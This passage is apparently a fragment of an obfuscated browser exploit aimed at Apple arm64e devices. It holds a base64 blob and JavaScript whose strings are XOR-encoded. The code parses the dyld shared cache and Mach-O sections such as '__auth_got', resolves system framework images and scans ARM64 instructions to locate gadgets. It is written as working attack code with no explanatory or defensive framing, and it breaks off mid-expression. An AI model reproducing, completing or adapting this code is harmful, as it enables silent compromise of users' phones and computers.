wgMTE3LCAxMDQsIDEwMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OCk7fSkuam9pbigiIikpOm4uUWUuRXQoKT9vPSExOmw9dC5zdWIobi5RZSksaT10LnN1YihuLnFlKTticmVhaztjYXNlKFsxMDUsIDEwNSwgMTIyLCAxMjcsIDEyMCwgMTI1LCAxMTUsIDExNCwgMTI3LCA5OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1NCk7fSkuam9pbigiIikpOnU9bi5xZS5hZGQoaSkuc3ViKG4uUWUpO2JyZWFrO2Nhc2UoWzQ0LCA0NCwgNTAsIDM4LCAzOSwgNTksIDQ0LCA0OCwgNjAsIDYxLCAzMiwgMzldLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkxvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5xZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDkyOTkxNjc4MyBeIC0xMjE3NTY2ODk5KSk6aD0hMCxjPWUuaXIocy5IKDQwKSksYT1lLmlyKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTg2NzY1ODMyOSBeIC0yNzk4MjUzMDIpKTpoPSEwLGM9ZS5pcihzLkgoOCkpLGE9ZS5pcihzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmlyKHQuSCg0KSk7aWYodyYmKDE5MzI2ODM2MDggXiAxOTE1OTA2Mzg4KT09PXImJmc+PSgxNDY2ODQ5NjUwIF4gMTQ2NjI1OTgyNikpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5VcihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY5OTE2OTY0NiBeIDE2OTkxNzM3NDIpKTsoNDI5NDk2NzI5NiArICgxMzE0NDA0NDA0IF4gLTEzMzAyNjUzNDkpKSE9PWUuaXIodCk7KXQ9dC5CdCgoMTcxNDk3MjQ5MSBeIDE3MTQ5NzY1ODcpKTtjb25zdCByPXRoaXMuWG8odCk7bD1yLkhvLlpvLF89ci5Iby5Lb319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIucWU7ci5xZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0dvOnQsSm86bixRbzppLFlvOnUsWm86bCxLbzpfLHRoOmYscmg6YX0sRSl9ci51cj1mdW5jdGlvbigpe3JldHVybiBZKFAuem4ueW4sITApfSxyLlhvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLkhvPXQsdGhpcy5laD1yLHRoaXMubmg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMuc2g9ITF9c3IoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWFyKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1paCh0KXtjb25zdCByPXRoaXMub2goKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1vaCh0KXtpZighMT09PXRoaXMuc2gpe3RoaXMuc2g9ITA7Y29uc3QgdD1uZXcgVWludDMyQXJyYXkodGhpcy5Iby5yaCszPj4yKTtmb3IobGV0IHI9MDtyPHQubGVuZ3RoO3IrKyl0W3JdPVAuem4uWG4uaXIodGhpcy5Iby50aC5IKDQqcikpO3RoaXMubmg9bmV3IFVpbnQ4QXJyYXkodC5idWZmZXIpfWNvbnN0IHI9dGhpcy5uaDtsZXQgZT0iIixuPTAscz0hMTtmb3IoOyFzOyl7cz0hMDtsZXQgaT0wLG89MDtkb3tpKz0oKDIwMDQ1MDQ0MDcgXiAyMDA0NTA0MzYwKSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTk4MTkyMjM4IF4gMTU5ODE5MjM2NikmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDIwMTg5OTI2OTEgXiAyMDE4OTkyNzE2KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNzgzNzE2MTgwIF4gMTc4MzcxNjMwOCkmcltuKytdKTtyZXR1cm4gdH1uKz1pO2NvbnN0IGg9cltuKytdO2ZvcihsZXQgaT0wO2k8aDtpKyspe2xldCBpPSIiO2Zvcig7MCE9PXJbbl07KWkrPVN0cmluZy5mcm9tQ2hhckNvZGUocltuKytdKTtuKys7bGV0IGg9MDtvPTA7ZG97aCs9KCgyMDUzNTMwNDc5IF4gMjA1MzUzMDM4NCkmcltuXSk8PG8sbys9N313aGlsZSgoMTkzNjk0NjUxNCBeIDE5MzY5NDY2NDIpJnJbbisrXSk7aWYoaS5sZW5ndGgmJmUraT09PXQuc3Vic3RyKDAsZS5sZW5ndGgraS5sZW5ndGgpKXtlKz1pLG49aCxzPSExO2JyZWFrfX19cmV0dXJuIDB9fWNsYXNzIHJ0e2NvbnN0cnVjdG9yKHQpe3RoaXMuaGg9dCx0aGlzLmxoPXRoaXMuaGguSG8uR299aWgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbMTA5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDUwKX0pLmpvaW4oIiIpKSArICh0KSk7cmV0dXJuIHI/dGhpcy5oaC5Iby5Hby5IKHIpOm5ldyB4LlZ0KDAsMCl9ZmgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbNTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTAyKX0pLmpvaW4oIiIpKSArICh0KSk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcj90aGlzLmhoLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1haCh0KXtyZXR1cm4gMCE9PXRoaXMuaGgub2goKFs1XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKX0pLmpvaW4oIiIpKSArICh0KSl9dWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMuZmgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5oaD10LHRoaXMuZGg9bnVsbCx0aGlzLndoPXRoaXMuaGguSG8uR28ueXQoKX1paCh0KXtjb25zdCByPXRoaXMuaGgub2goKFsyNV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MCl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMud2grcjowfXVoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLmZoKHIpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9YWgodCl7cmV0dXJuIDAhPT10aGlzLmhoLm9oKChbMTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzgpfSkuam9pbigiIikpICsgKHQpKX1maCh0KXtjb25zdCByPXRoaXMuaGgub2goKFs1MV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDgpfSkuam9pbigiIikpICsgKHQpKTtpZighcil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiB0aGlzLndoK3J9Z2godCl7cmV0dXJue1hlOnQuWGUscWU6dC5xZS55dCgpLEVvOnQuRW8ueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpLHpvOnQuem8ueXQoKSwkbzp0LiRvLHFvOnQucW8sTW86dC5NbyxmbGFnczp0LmZsYWdzLERvOnQuRG8ueXQoKSxMbzp0LkxvfX1taCh0KXtyZXR1cm57WGU6dC5YZSxWbzp0LlZvLHFlOnQucWUueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpfX1FaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaGguZWgubGVuZ3RoO3IrKylpZih0aGlzLmhoLmVoW3JdLlhlPT09dClyZXR1cm4gdGhpcy5naCh0aGlzLmhoLmVoW3JdKTtyZXR1cm4gbnVsbH1faCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSl7aWYoMCE9PU9iamVjdC5rZXlzKGUuTG8pLmxlbmd0aCl7Y29uc3QgdD1lLkxvW3JdO3JldHVybiB2b2lkIDAhPT10P3RoaXMubWgodCk6bnVsbH17bGV0IG49bnVsbDtmb3IobGV0IHM9MDtzPGUuTW87cysrKXtjb25zdCBpPWUuRG8rODAqcyxvPXQsaD1QLnpuLlhuLkVyKGksMTYpLGM9e1hlOm8sVm86aCxxZTpQLnpuLlhuLnJyKGkrMzIpLmFkZCh0aGlzLmhoLkhvLlFvKSxPbzpQLnpuLlhuLnJyKGkrNDApLFFlOlAuem4uWG4ucnIoaSs0OCl9O3I9PT1oJiYobj1jKSxlLkxvW2hdPWN9cmV0dXJuIG4/dGhpcy5taChuKTpudWxsfX1yZXR1cm4gbnVsbH1iaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSlmb3IobGV0IG49MDtuPGUuTW87bisrKXtjb25zdCBzPWUuRG8rODAqbixpPXQsbz1QLnpuLlhuLkVyKHMsMTYpO2lmKHI9PT1vKXtjb25zdCB0PXtYZTppLFZvOm8scWU6UC56bi5Ybi5ycihzKzMyKS5hZGQodGhpcy5oaC5Iby5RbyksT286UC56bi5Ybi5ycihzKzQwKSxRZTpQLnpuLlhuLnJyKHMrNDgpfTtyZXR1cm4gdGhpcy5taCh0KX19cmV0dXJuIG51bGx9cGgodCl7Y29uc3Qgcj10aGlzLkVoKHQpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHJ9U2goKXtyZXR1cm4gbnVsbD09PXRoaXMuZGgmJih0aGlzLmRoPW5ldyBudCh0aGlzLmhoLkhvLktvLnl0KCksdGhpcy5oaC5Iby5aby55dCgpKSksdGhpcy5kaH14aCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ucnIocik6bmV3IHguVnQoMCwwKX1JaCh0KXtjb25zdCByPXRoaXMucGgoKFs2MSwgNjEsIDU0LCAzOSwgNTgsIDU0XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDk4KTt9KS5qb2luKCIiKSkpO3JldHVybiB0LXIuRW8rci5xZX1UaCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ubnIocik6MH15aCh0LHIpe2NvbnN0IGU9dGhpcy5paCh0KTtyZXR1cm4gMCE9PWU/UC56bi5Ybi5TcihlKTpyfWtoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpe2NvbnN0IG49ZS5xZSt0O2lmKFAuem4uWG4uYnIobik9PT1yPj4+MCYmUC56bi5Ybi5icihuKzQpPT09ci80Mjk0OTY3Mjk2Pj4+MClyZXR1cm4gbn10aHJvdyBuZXcgRXJyb3IoIiIpfU9oKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1lLnFlLHM9ZS5xZStlLk9vO3JldHVybiByPj1uJiZyPHN9emgodCxyLGUpe2NvbnN0IG49dGhpcy5faCh0LHIpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz1uLnFlLGk9bi5xZStuLk9vO3JldHVybiBlPj1zJiZlPGl9UGgodCl7Zm9yKGxldCByPTA7cjx0aGlzLmhoLmVoLmxlbmd0aDtyKyspaWYodGhpcy5PaCh0aGlzLmhoLmVoW3JdLlhlLHQpKXJldHVybiEwO3JldHVybiExfVVoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpaWYoUC56bi5Ybi5EcihlLnFlK3QpPT09cilyZXR1cm4gZS5xZSt0O3Rocm93IG5ldyBFcnJvcigiIil9QWgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLnpuLlhuLkRyKGUucWUrdCk9PT1yKXJldHVybiBQLnpuLlhuLnJyKGUucWUrdCk7dGhyb3cgbmV3IEVycm9yKCIiKX0kaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz10aGlzLkVoKHIpO2lmKG51bGw9PT1zKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxzLk9vO3QrPTgpe2NvbnN0IHI9UC56bi5Ybi5EcihzLnFlK3QpO2lmKHI+PW4ucWUmJnI8bi5xZStuLk9vJiYhMD09PWUocixQLnpuLlhuLnJyKHMucWUrdCkpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz00KXtjb25zdCBuPWUucWUrdDtpZighMD09PXIobixQLnpuLlhuLmJyKG4pKSlicmVha319UmgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLnFlK3Q7aWYoITA9PT1yKFoudXQobikpKWJyZWFrfX1DaCh0KXtmb3IoY29uc3QgciBvZiB0aGlzLmhoLmVoKXtjb25zdCBlPVoudXQoci5xZSksbj1aLnV0KHIucWUpLkgoeC5fKHIuT28pKTtpZih0LlBpKGUpJiZ0LlNpKG4pKXJldHVybiByfXJldHVybiBudWxsfX1jbGFzcyBudHtjb25zdHJ1Y3Rvcih0LHIpe3RoaXMuTWg9dCx0aGlzLkRoPXIsdGhpcy5MaD0hMSx0aGlzLkJoPXt9LHRoaXMuaW1hZ2VzPXRoaXMuTmgoKX1WaCgpe3JldHVybiBQLnpuLlhuLkVyKHRoaXMuRGgpfVhoKCl7cmV0dXJuKFs1NCwgNDMsIDYyLCA1NCwgMTMsIDM2LCA5OSwgMTE0LCAxMTQsIDUxLCAzMiwgNjMsIDEwMCwgMTAyLCA1NV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4Mik7fSkuam9pbigiIikpPT09dGhpcy5WaCgpfVpoKCl7cmV0dXJuIHRoaXMuTWh9TmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLlZoKCkuc3RhcnRzV2l0aCgoWzEzLCAxNiwgNSwgMTNdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTA1KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC56bi5Ybi5icih0aGlzLkRoKzI0KSxlPVAuem4uWG4uYnIodGhpcy5EaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5MaD0hMCxyPVAuem4uWG4uYnIodGhpcy5EaCsoMTI4MjY5MjE4NiBeIDEyODI2OTI1MDYpKSxlPVAuem4uWG4uYnIodGhpcy5EaCsoOTQ2ODkwMzA2IF4gOTQ2ODkwNjMwKSksMD09PXImJjA9PT1lKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgbj0wO248ZTtuKyspe2NvbnN0IGU9dGhpcy5EaCtyKzMyKm4scz1QLnpuLlhuLkRyKGUpK3RoaXMuTWgsaT1QLnpuLlhuLmJyKGUrMjQpLG89UC56bi5Ybi5Fcih0aGlzLkRoK2kpO3QucHVzaCh7YWRkcmVzczpzLHBhdGg6b30pfXJldHVybiB0fWpoKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgciBvZiB0aGlzLmltYWdlcyl0LnB1c2goci5wYXRoKTtyZXR1cm4gdH1GaCh0LHIpe3JldHVybiB0aGlzLkhoKHQpLmZoKHIpfUtoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXRyeXtyZXR1cm4gdGhpcy5IaChyLnBhdGgpLmZoKHQpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9R2godCl7Zm9yKGxldCByPTA7cjx0aGlzLmltYWdlcy5sZW5ndGg7cisrKWlmKC0xIT09dGhpcy5pbWFnZXNbcl0ucGF0aC5pbmRleE9mKHQpKXJldHVybiB0aGlzLmltYWdlc1tyXS5hZGRyZXNzO3JldHVybiAwfUhoKHQpe2lmKHZvaWQgMD09PXRoaXMuQmhbdF0pe2NvbnN0IHI9dGhpcy5HaCh0KTtpZigwPT09cilyZXR1cm4gbnVsbDt0aGlzLkJoW3RdPVkoeC5WdC51dChyKSkuYXIoKX1yZXR1cm4gdGhpcy5CaFt0XX1KaCh0KXtjb25zdCByPXRoaXMuSGgodCk7aWYobnVsbD09PXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1RaCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5KaChyKX1jYXRjaCh0KXt9dGhyb3cgbmV3IEVycm9yKCIiKX19cmV0dXJuIHI7");const x=globalThis.obChTK.hPL3On(([96, 98, 99, 103, 101, 103, 101, 99, 49, 99, 103, 101, 98, 108, 55, 52, 52, 49, 101, 48, 96, 98, 48, 99, 49, 108, 48, 54, 108, 102, 100, 103, 101, 54, 101, 51, 96, 103, 97, 98].map(x => {return String.fromCharCode(x ^ 85);}).join(""))),{N:G,tn:W,nn:C,Vt:m,U:j,An:S,vn:O,v:o,I:u,B:s}=globalThis.obChTK.hPL3On(([68, 70, 71, 67, 65, 67, 65, 71, 21, 71, 67, 65, 70, 72, 19, 16, 16, 21, 65, 20, 68, 70, 20, 71, 21, 72, 20, 18, 72, 66, 64, 67, 65, 18, 65, 23, 68, 67, 69, 70].map(x => {return String.fromCharCode(x ^ 113);}).join(""))),P=globalThis.obChTK.hPL3On(([92, 89, 91, 91, 84, 14, 12, 94, 15, 92, 88, 92, 84, 15, 12, 95, 12, 85, 11, 89, 93, 15, 8, 95, 85, 90, 11, 91, 89, 91, 9, 89, 9, 90, 88, 84, 94, 8, 15, 93].map(x => {return String.fromCharCode(x ^ 109);}).join("")));class it{constructor(){this.tc=null,this.ic=null,this.cc=!1}da(c,o){return new x.Vt(0,0)}er(c,o){return new x.Vt(0,0)}wa(c,o){return new x.Vt(0,0)}ha(c,o){return new x.Vt(0,0)}}r.sc=it;class ct{constructor(c){this.lc=c}oc(c){let o=0;const i=[];for(let t=0;t>>0==(863593306 ^ 662266714)?i.push(-(2016949611 ^ 2084058475)):i.push(-1)}return{ac:o,mask:i}}hc(c){const o=this.lc.Jh(c),i=new Set([(4294967296 + (1951289186 ^ -1569634435)),(4294967296 + (1683649092 ^ -1301972357)),(4294967296 + (1131951446 ^ -1790493431)),(4294967296 + (895831092 ^ -480623541)),(4294967296 + (1917215054 ^ -1535546927)),(4294967296 + (1666140978 ^ -1250933875)),(4294967296 + (1700417619 ^ -1285203828)),(4294967296 + (762729803 ^ -79077964))]),t=[];o.qh(([6, 6, 13, 28, 1, 13].map(x => {return String.fromCharCode(x ^ 89);}).join("")),((c,o)=>{i.has(o)&&t.push([c,o])})),t.length}dc(c,o,i){const t=this.lc.Jh(c),{ac:a,mask:l}=this.oc(o);let b=null,I=null,s=null;if(!0===i?(t.$h(([47, 47, 36, 53, 40, 36].map(x => {return String.fromCharCode(x ^ 112);}).join("")),!0===globalThis.obChTK.hPL3On(([127, 122, 120, 120, 119, 45, 47, 125, 44, 127, 123, 127, 119, 44, 47, 124, 47, 118, 40, 122, 126, 44, 43, 124, 118, 121, 40, 120, 122, 120, 42, 122, 42, 121, 123, 119, 125, 43, 44, 126].map(x => {return String.fromCharCode(x ^ 78);}).join(""))).zn.Nn.PgkJIA?([12, 12, 18, 6, 7, 27, 12, 16, 28, 29, 0, 7].map(x => {return String.fromCharCode(x ^ 83);}).join("")):([110, 110, 117, 112, 101, 112, 110, 114, 126, 127, 98, 101].map(x => {return String.fromCharCode(x ^ 49);}).join("")),((c,i)=>{let t=c;for(let c=0;c>>0==(1466381158 ^ 1130836838)?i<<6>>4:4}return b=i,!0})),b&&(I=b.Dt().yt(),s=b)):(t.qh(([114, 114, 121, 104, 117, 121].map(x => {return String.fromCharCode(x ^ 45);}).join("")),((c,i)=>{let t=!0;for(let i=0;i {return String.fromCharCode(x ^ 84);}).join(""))).zn.Nn.KrBQWx;i++){const I=c+4*i,s=P.zn.Xn.br(I);if((4294967296 + (1867789176 ^ -1190445945))===s||(4294967296 + (1296253527 ^ -1692647017))===s){l=!0;break}if(((4294967296 + (1464688462 ^ -1471324338))&s)>>>0==(1764912242 ^ 2100456562)){if(t){l=!0;break}}else if(((4294967296 + (1937274723 ^ -327649437))&s)>>>0==(4294967296 + (1248289098 ^ -630759094))){const c=(s<<8>>13<<2|s>>29&3)<<12;b[31&s]=I-I%(1346530659 ^ 1346534755)+c}else if(((4294967296 + (1882207818 ^ -1880082870))&s)>>>0==(4294967296 + (1316251250 ^ -1221302670))){const c=s>>5&31,o=s>>10&(1481665138 ^ 1481663885);b[c]&&a.push(b[c]+8*o)}else if(o&&((4294967296 + (1114664778 ^ -1116704950))&s)>>>0==(4294967296 + (1264994409 ^ -630830999))){const c=s>>5&31,o=s>>10&(1732666417 ^ 1732668366);b[c]&&(a.push(b[c]+o),b[c]=0)}}if(!l)throw new Error("");if(i>-1&&a.length!==i)throw new Error("");return a}Kc(c,o,i,t){const a=this.lc.Jh(c),{ac:l,mask:b}=this.oc(o);let I=null,s=null,d=null;if(!0===i?(a.$h(([42, 42, 33, 48, 45, 33].map(x => {return String.fromCharCode(x ^ 117);}).join("")),t,((c,i)=>{let t=c;for(let c=0;c>>0==(1937076037 ^ 1735749445)?i<<6>>4:4}return I=i,!0})),I&&(s=I.Dt().yt(),d=I)):(a.qh(([58, 58, 49, 32, 61, 49].map(x => {return String.fromCharCode(x ^ 101);}).join("")),((c,i)=>{let t=!0;for(let i=0;i {return String.fromCharCode(x ^ 104);}).join("")));class oc extends it{da(c,o){return this.Ka(this.La,c,o)}er(c,o){return this.Ka(this.Xa,c,o)}wa(c,o){return this.Ka(this.Ma,c,o)}ha(c,o){return this.Ka(this.Ga,c,o)}Mc(){const c=this.Tc,o=P.zn.Xn.Mr(c);if(o%(1415867769 ^ 1415871865)!=0)throw new Error("");const i=x.Vt.ut(o).Ut();return c[0]=(4294967296 + (860187459 ^ -844590708)),c[1]=(1279543862 ^ 1296321082),c[2]=2,c[4]=3,c[5]=(1815630694 ^ 1815630454),c[8]=25,c[9]=(1752258916 ^ 1752259068),c[10]=(845958507 ^ 2000163380),c[11]=(1128954229 ^ 1128934701),c[24]=1,c[34]=i.it,c[35]=i.et,c[36]=(4294967296 + (1886217061 ^ -1886231707)),c[37]=(1836603752 ^ 1836603671),c[42]=(4294967296 + (1129403204 ^ -1018079420)),c[46]=25,c[47]=72,c[48]=(1749308019 ^ 554175788),c[49]=(1667912035 ^ 657398317),c[50]=(1832286059 ^ 1832264482),c[52]=(1836742189 ^ 1836742429),c[56]=(1196577112 ^ 1196576872),c[64]=(4294967296 + (2052473931 ^ -95009687)),c[65]=48,c[74]=(1951217965 ^ 1951217693),c[75]=(1735419466 ^ 1735421514),c[76]=(1934906224 ^ 302731888),c[77]=(1396000339 ^ 1396064339),c}constructor(){super(),this.cc=!0;let c=64,o=16;!0===globalThis.obChTK.hPL3On(([64, 69, 71, 71, 72, 18, 16, 66, 19, 64, 68, 64, 72, 19, 16, 67, 16, 73, 23, 69, 65, 19, 20, 67, 73, 70, 23, 71, 69, 71, 21, 69, 21, 70, 68, 72, 66, 20, 19, 65].map(x => {return String.fromCharCode(x ^ 113);}).join(""))).zn.Nn.QwxZcT&&(c+=4,o-=4);let i=(758410840 ^ 758411176);!0===globalThis.obChTK.hPL3On(([5, 0, 2, 2, 13, 87, 85, 7, 86, 5, 1, 5, 13, 86, 85, 6, 85, 12, 82, 0, 4, 86, 81, 6, 12, 3, 82, 2, 0, 2, 80, 0, 80, 3, 1, 13, 7, 81, 86, 4].map(x => {return String.fromCharCode(x ^ 52);}).join(""))).zn.Nn.QwxZcT&&(i=(1448498021 ^ 1448497197));let t=72,a=76;!0===globalThis.obChTK.hPL3On(([64, 69, 71, 71, 72, 18, 16, 66, 19, 64, 68, 64, 72, 19, 16, 67, 16, 73, 23, 69, 65, 19, 20, 67, 73, 70, 23, 71, 69, 71, 21, 69, 21, 70, 68, 72, 66, 20, 19, 65].map(x => {return String.fromCharCode(x ^ 113);}).join(""))).zn.Nn.QwxZcT&&(t=80,a=84),this.Tc=new Uint32Array((1983076185 ^ 1983010649)),x.D(this.Tc),this.lc=P.cr().Sh(),this.Pc=new ct(this.lc);const l=this.lc.Jh(([27, 30, 21, 19, 14, 27, 19, 89, 19, 14, 27, 30, 21].map(x => {return String.fromCharCode(x ^ 119);}).join(""))),b=this.lc.Jh(([34, 39, 44, 29, 55, 61, 58, 43, 35, 96, 12, 96, 42, 55, 34, 39, 44].map(x => {return String.fromCharCode(x ^ 78);}).join(""))),I=this.lc.Jh(([35, 38, 45, 55, 34, 35, 125, 97, 125, 97, 43, 54, 35, 38, 45].map(x => {return String.fromCharCode(x ^ 79);}).join(""))),s=P.zn.Xn,d=I.fh(([25, 12, 13, 50, 32, 57, 83, 38, 4, 21, 49, 20, 3, 13, 8, 2, 40, 5].map(x => {return String.fromCharCode(x ^ 97);}).join("")));if((4294967296 + (1266314547 ^ -1711641293))!==s.br(d)||(4294967296 + (1831884087 ^ -1150331145))!==s.br(d+4))throw new Error("");let y;y=I.Ah(([47, 47, 49, 37, 36, 56].map(x => {return String.fromCharCode(x ^ 112);}).join("")),d);const r=l.fh(([43, 35, 60, 54, 34].map(x => {return String.fromCharCode(x ^ 79);}).join(""))),g=b.Ah(globalThis.obChTK.hPL3On(([87, 82, 80, 80, 95, 5, 7, 85, 4, 87, 83, 87, 95, 4, 7, 84, 7, 94, 0, 82, 86, 4, 3, 84, 94, 81, 0, 80, 82, 80, 2, 82, 2, 81, 83, 95, 85, 3, 4, 86].map(x => {return String.fromCharCode(x ^ 102);}).join(""))).zn.Nn.PgkJIA?([45, 45, 51, 39, 38, 58, 45, 49, 61, 60, 33, 38].map(x => {return String.fromCharCode(x ^ 114);}).join("")):([22, 22, 13, 8, 29, 8, 22, 10, 6, 7, 26, 29].map(x => {return String.fromCharCode(x ^ 73);}).join("")),r),C=[],e=function(c){C.push(c)};this.Da=C;e({x:null});const u={};e(u);const n=function(c){const o=new Uint8Array(c),i=s.Mr(o);return u[i]=o,i};let h=null;try{h=this.Pc.mc([([26, 102, 76, 70, 65, 80, 88, 26, 121, 92, 87, 71, 84, 71, 76, 26, 115, 71, 84, 88, 80, 66, 90, 71, 94, 70, 26, 118, 90, 71, 80, 114, 71, 84, 69, 93, 92, 86, 70, 27, 83, 71, 84, 88, 80, 66, 90, 71, 94, 26, 118, 90, 71, 80, 114, 71, 84, 69, 93, 92, 86, 70].map(x => {return String.fromCharCode(x ^ 53);}).join("")),([127, 3, 41, 35, 36, 53, 61, 127, 28, 57, 50, 34, 49, 34, 41, 127, 22, 34, 49, 61, 53, 39, 63, 34, 59, 35, 127, 19, 63, 34, 53, 23, 34, 49, 32, 56, 57, 51, 35, 126, 54, 34, 49, 61, 53, 39, 63, 34, 59, 127, 6, 53, 34, 35, 57, 63, 62, 35, 127, 17, 127, 19, 63, 34, 53, 23, 34, 49, 32, 56, 57, 51, 35].map(x => {return String.fromCharCode(x ^ 80);}).join(""))],[(4294967296 + (1349742969 ^ -93162855)),(1131181668 ^ 1418953055),(4294967296 + (1332367462 ^ -76918650)),(4294967296 + (1869702263 ^ -1775143819)),(4294967296 + (1432702275 ^ -513454623)),(4294967296 + (1129724227 ^ -1172947637)),(4294967296 + (1198747970 ^ -1103926973)),(4294967296 + (1448694580 ^ -61779756)),(4294967296 + (860762961 ^ -447661298))],([107, 107, 117, 97, 96, 124, 107, 119, 123, 122, 103, 96].map(x => {return String.fromCharCode(x ^ 52);}).join("")))}catch(c){h=this.Pc.mc([([76, 48, 26, 16, 23, 6, 14, 76, 47, 10, 1, 17, 2, 17, 26, 76, 37, 17, 2, 14, 6, 20, 12, 17, 8, 16, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16, 77, 5, 17, 2, 14, 6, 20, 12, 17, 8, 76, 32, 12, 17, 6, 36, 17, 